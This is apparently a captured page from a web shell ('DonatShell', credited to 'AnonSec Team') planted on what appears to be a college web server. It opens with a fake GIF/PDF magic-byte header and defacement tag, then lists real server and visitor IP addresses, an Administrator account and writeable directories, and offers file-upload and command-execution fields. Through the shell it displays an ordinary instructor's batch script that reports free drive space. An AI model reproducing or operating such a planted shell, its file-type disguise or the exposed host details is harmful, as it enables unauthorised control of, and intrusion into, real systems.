GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1861/CST1861/Lab03/drivefree.cmd
@echo off
:: drivefree.cmd
:: Written by: Jim Martinson
:: Written on: 2010/04/16

:: Test if command line extensions are enabled.
if "%~1"=="~1" goto:ExtensionsAreNotEnabled
:: Display help when the /? parameter is passed.
if NOT "%~1"=="/?" goto SkipHelp
echo Show free space on the current drive.
echo.
echo Usage: %~n0 [/a^|drive:]
echo.
echo       /a = Show free space for all drives.
echo   drive: = The drive to show free space for.
echo            The default is the current drive.
echo.
goto:EOF

:ExtensionsAreNotEnabled
echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly.
echo %~n0 aborted.
echo.
goto:Help

:SkipHelp
:: Test for /a.
if /I "%~1" EQU "/a" (
	set _cmd=%~0
	call:DisplayAllDrives
	goto:EOF
)
:: Test for drive letter.
if "%~1"=="" (
::	Get the current drive letter.
	for /f "tokens=4" %%d in ('dir /a^|find "Volume in drive "') do set _drive=%%d:
) else (
::	Use drive given and test if the drive exists and is ready.
	set _drive=%~1%
	call:TestDrive
)
if NOT defined _drive (
::	The drive does not exist or is not ready.
	echo Drive %~1% not ready or is not a drive.
	goto:EOF
)
:: Find the free bytes.
for /f "tokens=2,3" %%a in ('dir /a %_drive% ^|find "bytes free"') do if "%%a"=="Dir(s)" echo %_drive% has %%b bytes free.
set _cmd=
set _drive=
goto:EOF

:DisplayAllDrives
:: Loop through all possible drives.
for %%d in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do call:TestDriveLetter %%d: call
goto:EOF

:TestDrive
:: Test for : in drive name.
echo %_drive%|find ":" >nul
if %errorlevel%==1 (
	set _drive=
) else (
::	Test if drive exists and is ready.
	call:TestDriveLetter %_drive%
)

:TestDriveLetter
:: Test if drive exists and is ready.
dir %1 >nul 2>nul
if %errorlevel%==0 (
::	The drive exists and is ready so display free bytes if called by :DisplayAllDrives
	if "%2"=="call" call:SkipHelp %1
) else (
::	Set flag to display error.
	set _drive=
)
goto:EOF

Anon7 - 2022
AnonSec Team